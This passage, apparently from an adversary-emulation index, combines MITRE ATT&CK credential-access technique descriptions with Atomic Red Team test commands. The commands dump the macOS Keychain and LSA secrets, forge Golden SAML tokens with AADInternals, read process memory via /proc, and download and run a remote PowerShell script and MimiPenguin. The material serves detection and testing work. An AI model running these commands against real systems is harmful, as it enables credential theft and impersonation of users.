Retrieved March 31, 2022. - source_name: Keychain Decryption Passware url: https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption description: Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022. x_mitre_deprecated: false revoked: false description: "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain –d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) " modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Credentials from Password Stores: Keychain' x_mitre_detection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'Process: OS API Execution' - 'File: File Access' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1555.001 atomic_tests: - name: Keychain Dump auto_generated_guid: 88e1fa00-bf63-4e5b-a3e1-e2ea51c8cca6 description: "This command will dump keychain credential information from login.keychain. \nSource: https://www.loobins.io/binaries/security/\n\n### Keychain File path\n \ ~/Library/Keychains/\n /Library/Keychains/\n /Network/Library/Keychains/\n \ [Security Reference](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/security.1.html)\n \ " supported_platforms: - macos executor: command: sudo security dump-keychain -d login.keychain name: sh elevation_required: true - name: Export Certificate Item(s) auto_generated_guid: 1864fdec-ff86-4452-8c30-f12507582a93 description: 'This command finds all certificate items and sends the output to local file in pem format. ' supported_platforms: - macos input_arguments: cert_export: description: Specify the path of the certificates to export. type: path default: "/tmp/certs.pem" executor: command: 'security find-certificate -a -p > #{cert_export} ' cleanup_command: 'rm #{cert_export}' name: sh elevation_required: false - name: Import Certificate Item(s) into Keychain auto_generated_guid: e544bbcb-c4e0-4bd0-b614-b92131635f59 description: 'This command will import a certificate pem file into a keychain. ' supported_platforms: - macos input_arguments: cert_export: description: Specify the path of the pem certificate file to import. type: path default: "/tmp/certs.pem" executor: command: 'security import #{cert_export} -k ' name: sh elevation_required: false T1003.004: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Ed Williams, Trustwave, SpiderLabs object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc type: attack-pattern created: '2020-02-21T16:22:09.493Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1003.004 url: https://attack.mitre.org/techniques/T1003/004 - source_name: Passcape LSA Secrets url: https://www.passcape.com/index.php?section=docsys&cmd=details&id=23 description: Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020. - source_name: Microsoft AD Admin Tier Model url: https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN description: Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020. - source_name: Tilbury Windows Credentials url: https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf description: 'Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.' - source_name: ired Dumping LSA Secrets url: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets description: Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020. - url: https://github.com/mattifestation/PowerSploit description: PowerSploit. (n.d.). Retrieved December 4, 2014. source_name: Powersploit modified: '2022-05-11T14:00:00.188Z' name: 'OS Credential Dumping: LSA Secrets' description: |- Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets) [Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: 'Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit''s Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Access' - 'Command: Command Execution' x_mitre_permissions_required: - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1003.004 atomic_tests: - name: Dumping LSA Secrets auto_generated_guid: 55295ab0-a703-433b-9ca4-ae13807de12f description: | Dump secrets key from Windows registry When successful, the dumped file will be written to $env:Temp\secrets. Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information. https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc. supported_platforms: - windows input_arguments: psexec_exe: description: Path to PsExec executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\T1003.004\bin\PsExec.exe dependency_executor_name: powershell dependencies: - description: PsExec from Sysinternals must exist on disk at specified location (#{psexec_exe}) prereq_command: if (Test-Path "#{psexec_exe}") {exit 0} else {exit 1} get_prereq_command: |- Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PSTools.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PSTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PSTools" -Force New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-Null Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PSTools\PsExec.exe" "#{psexec_exe}" -Force executor: command: '"#{psexec_exe}" -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets /y ' cleanup_command: del %temp%\secrets >nul 2> nul name: command_prompt elevation_required: true - name: Dump Kerberos Tickets from LSA using dumper.ps1 auto_generated_guid: 2dfa3bff-9a27-46db-ab75-7faefdaca732 description: | This tool allows you to dump Kerberos tickets from the LSA cache. Implemented via Add-Type. If the tool is run as a privileged user, it will automatically obtain NT AUTHORITY\SYSTEM privileges and then dump all tickets. If the tool is run as a non-privileged user, it will only dump tickets from the current logon session. Ref: https://github.com/MzHmO/PowershellKerberos/ Author of dumper.ps1: Michael Zhmaylo (@MzHmO) supported_platforms: - windows executor: command: "Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/MzHmO/PowershellKerberos/beed52acda37fc531ef0cb4df3fc2eb63a74bbb8/dumper.ps1') \ \n" name: powershell elevation_required: true T1606.002: technique: modified: '2024-03-01T17:55:56.116Z' name: 'Forge Web Credentials: SAML token' description: |- An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML) An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users. An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Blake Strom, Microsoft 365 Defender - Oleg Kolesnikov, Securonix - Jack Burns, HubSpot x_mitre_deprecated: false x_mitre_detection: |- This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML) Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Azure AD - SaaS - Windows - Office 365 - Google Workspace - IaaS x_mitre_version: '1.3' x_mitre_data_sources: - 'Web Credential: Web Credential Usage' - 'Web Credential: Web Credential Creation' - 'Logon Session: Logon Session Creation' - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Metadata' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2 created: '2020-12-17T15:24:12.240Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1606/002 external_id: T1606.002 - source_name: Microsoft SolarWinds Steps description: Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020. url: https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/ - source_name: Microsoft SAML Token Lifetimes description: Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020. url: https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes - source_name: Microsoft SolarWinds Customer Guidance description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020. url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ - source_name: Cyberark Golden SAML description: 'Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.' url: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps - source_name: Sygnia Golden SAML description: Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021. url: https://www.sygnia.co/golden-saml-advisory object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1606.002 atomic_tests: - name: Golden SAML auto_generated_guid: b16a03bc-1089-4dcc-ad98-30fe8f3a2b31 description: "Forge a \"Golden SAML\" token which allows to impersonate any Azure AD user, and authenticate to AADGraph (as a proof). \nYou will need the ADFS token signing certificate (see T1552.004 to export it).\nMore info here : https://o365blog.com/post/adfs/\n" supported_platforms: - azure-ad input_arguments: certificate_path: description: Token signing certificate path. See T1552.004 to export it type: path default: ".\\ADFS_signing.pfx" immutable_id: description: ImmutableId of the targeted user. It can be obtained with AzureAD powershell module; $(Get-AzureADUser -SearchString "username").ImmutableId type: string default: aehgdqBTZV50DKQZmNJ8mg== issuer_uri: description: Issuer URI of the ADFS service type: string default: http://contoso.com/adfs/services/trust/ dependency_executor_name: powershell dependencies: - description: 'AADInternals module must be installed. ' prereq_command: 'if (Get-Module AADInternals) {exit 0} else {exit 1} ' get_prereq_command: 'Install-Module -Name AADInternals -Force ' executor: command: | Import-Module AADInternals -Force $saml = New-AADIntSAMLToken -ImmutableID "#{immutable_id}" -PfxFileName "#{certificate_path}" -Issuer "#{issuer_uri}" $conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache if ($conn) { Write-Host "`nSuccessfully connected as $($conn.User)" } else { Write-Host "`nThe connection failed" } Write-Host "End of Golden SAML" name: powershell T1003.007: technique: modified: '2024-04-10T16:41:01.496Z' name: 'OS Credential Dumping: Proc Filesystem' description: |- Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc//maps` file shows how memory is mapped within the process’s virtual address space. And `/proc//mem`, exposed for debugging purposes, provides access to the process’s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022) When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process’s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook) If running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Tim (Wadhwa-)Brown x_mitre_deprecated: false x_mitre_detection: To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/PID/maps`, where the `PID` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Access' type: attack-pattern id: attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d created: '2020-02-11T18:46:24.434Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1003/007 external_id: T1003.007 - source_name: atomic-red proc file system description: 'Atomic Red Team. (2023, November). T1003.007 - OS Credential Dumping: Proc Filesystem. Retrieved March 28, 2024.' url: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md - source_name: baeldung Linux proc map 2022 description: baeldung. (2022, April 8). Understanding the Linux /proc/id/maps File. Retrieved March 31, 2023. url: https://www.baeldung.com/linux/proc-id-maps - source_name: Polop Linux PrivEsc Gitbook description: Carlos Polop. (2023, March 5). Linux Privilege Escalation. Retrieved March 31, 2023. url: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem - source_name: MimiPenguin GitHub May 2017 description: Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017. url: https://github.com/huntergregal/mimipenguin - source_name: Picus Labs Proc cump 2022 description: Huseyin Can YUCEEL & Picus Labs. (2022, March 22). Retrieved March 31, 2023. url: https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1003.007 atomic_tests: - name: Dump individual process memory with sh (Local) auto_generated_guid: 7e91138a-8e74-456d-a007-973d67a0bb80 description: | Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to copy process memory to an external file so it can be searched or exfiltrated later. supported_platforms: - linux input_arguments: output_file: description: Path where captured results will be placed type: path default: "/tmp/T1003.007.bin" script_path: description: Path to script generating the target process type: path default: "/tmp/T1003.007.sh" pid_term: description: Unique string to use to identify target process type: string default: T1003.007 dependencies: - description: 'Script to launch target process must exist ' prereq_command: | test -f #{script_path} grep "#{pid_term}" #{script_path} get_prereq_command: | echo '#!/bin/sh' > #{script_path} echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path} executor: name: sh elevation_required: true command: | sh #{script_path} PID=$(pgrep -n -f "#{pid_term}") HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1) MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1)))) MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2)))) MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START))) dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE" grep -i "PASS" "#{output_file}" cleanup_command: 'rm -f "#{output_file}" ' - name: Dump individual process memory with sh on FreeBSD (Local) auto_generated_guid: fa37b633-e097-4415-b2b8-c5bf4c86e423 description: | Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to copy process memory to an external file so it can be searched or exfiltrated later. On FreeBSD procfs must be mounted. supported_platforms: - linux input_arguments: output_file: description: Path where captured results will be placed type: path default: "/tmp/T1003.007.bin" script_path: description: Path to script generating the target process type: path default: "/tmp/T1003.007.sh" pid_term: description: Unique string to use to identify target process type: string default: T1003.007 dependencies: - description: 'Script to launch target process must exist ' prereq_command: | test -f #{script_path} grep "#{pid_term}" #{script_path} get_prereq_command: | echo '#!/bin/sh' > #{script_path} echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path} executor: name: sh elevation_required: true command: | sh #{script_path} PID=$(pgrep -n -f "#{pid_term}") MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1) MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2) MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START))) dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE" strings "#{output_file}" | grep -i PASS cleanup_command: 'rm -f "#{output_file}" ' - name: Dump individual process memory with Python (Local) auto_generated_guid: 437b2003-a20d-4ed8-834c-4964f24eec63 description: | Using `/proc/$PID/mem`, where $PID is the target process ID, use a Python script to copy a process's heap memory to an external file so it can be searched or exfiltrated later. On FreeBSD procfs must be mounted. supported_platforms: - linux input_arguments: output_file: description: Path where captured results will be placed type: path default: "/tmp/T1003.007.bin" script_path: description: Path to script generating the target process type: path default: "/tmp/T1003.007.sh" python_script: description: Path to script generating the target process type: path default: PathToAtomicsFolder/T1003.007/src/dump_heap.py pid_term: description: Unique string to use to identify target process type: string default: T1003.007 dependencies: - description: 'Script to launch target process must exist ' prereq_command: | test -f #{script_path} grep "#{pid_term}" #{script_path} get_prereq_command: | echo '#!/bin/sh' > #{script_path} echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path} - description: 'Requires Python ' prereq_command: "(which python || which python3 || which python2)\n" get_prereq_command: 'echo "Python 2.7+ or 3.4+ must be installed" ' executor: name: sh elevation_required: true command: | sh #{script_path} PID=$(pgrep -n -f "#{pid_term}") PYTHON=$(which python || which python3 || which python2) $PYTHON #{python_script} $PID #{output_file} grep -i "PASS" "#{output_file}" cleanup_command: 'rm -f "#{output_file}" ' - name: Capture Passwords with MimiPenguin auto_generated_guid: a27418de-bdce-4ebd-b655-38f04842bf0c description: "MimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). \nUpon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. \nSee https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. \nSee https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20various%20Linux%20distributions.\n" supported_platforms: - linux input_arguments: output_file: description: Path where captured results will be placed type: path default: "/tmp/T1003.007Test3.txt" MimiPenguin_Location: description: Path of MimiPenguin script type: path default: "/tmp/mimipenguin/mimipenguin_2.0-release/mimipenguin.sh" dependency_executor_name: sh dependencies: - description: 'MimiPenguin script must exist on disk at specified location (#{MimiPenguin_Location}) ' prereq_command: 'if [ -f "#{MimiPenguin_Location}" ]; then exit 0; else exit 1; fi; ' get_prereq_command: | wget -O "/tmp/mimipenguin.tar.gz" https://github.com/huntergregal/mimipenguin/releases/download/2.0-release/mimipenguin_2.0-release.tar.gz mkdir /tmp/mimipenguin tar -xzvf "/tmp/mimipenguin.tar.gz" -C /tmp/mimipenguin - description: 'Strings must be installed ' prereq_command: 'if [ -x "$(command -v strings --version)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'sudo apt-get -y install binutils ' - description: 'Python2 must be installed ' prereq_command: 'if [ -x "$(command -v python2 --version)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: "sudo apt-get -y install python2 \n" - description: 'Libc-bin must be installed ' prereq_command: 'if [ -x "$(command -v ldd --version)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: "sudo apt-get -y install libc-bin \n" executor: command: | sudo #{MimiPenguin_Location} > #{output_file} cat #{output_file} cleanup_command: 'rm -f #{output_file} > /dev/null ' name: bash elevation_required: true T1555.005: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Matt Burrough, @mattburrough, Microsoft object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21 type: attack-pattern created: '2021-01-22T16:08:40.629Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1555.005 url: https://attack.mitre.org/techniques/T1555/005 - source_name: ise Password Manager February 2019 url: https://www.ise.io/casestudies/password-manager-hacking/ description: 'ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.' - source_name: FoxIT Wocao December 2019 url: https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf description: 'Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.' - source_name: Github KeeThief url: https://github.com/GhostPack/KeeThief description: Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021. - source_name: NVD CVE-2019-3610 url: https://nvd.nist.gov/vuln/detail/CVE-2019-3610 description: National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021. - source_name: Cyberreason Anchor December 2019 url: https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware description: 'Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.' modified: '2022-05-11T14:00:00.188Z' name: Password Managers description: |- Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019) Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610) Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: "Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \n\nConsider monitoring file reads surrounding known password manager applications." x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Access' - 'Process: OS API Execution' - 'File: File Access' - 'Command: Command Execution' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1040: technique: modified: '2024-04-19T12:32:44.370Z' name: Network Sniffing description: |- Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. Network sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or [Defense Evasion](https://attack.mitre.org/tactics/TA0005) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) (AiTM) to passively gain additional knowledge about the environment. In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) On network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Oleg Kolesnikov, Securonix - Tiago Faria, 3CORESec - Austin Clark, @c2defense - Itamar Mizrahi, Cymptom - Eliraz Levi, Hunters x_mitre_deprecated: false x_mitre_detection: |- Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. In cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network - IaaS x_mitre_version: '1.6' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_system_requirements: - Network interface access and packet capture driver type: attack-pattern id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529 created: '2017-05-31T21:30:41.399Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1040 external_id: T1040 - source_name: AWS Traffic Mirroring description: Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022. url: https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html - source_name: capture_embedded_packet_on_software description: Cisco. (2022, August 17). Configure and Capture Embedded Packet on Software. Retrieved July 13, 2022. url: https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html - source_name: GCP Packet Mirroring description: Google Cloud. (n.d.). Packet 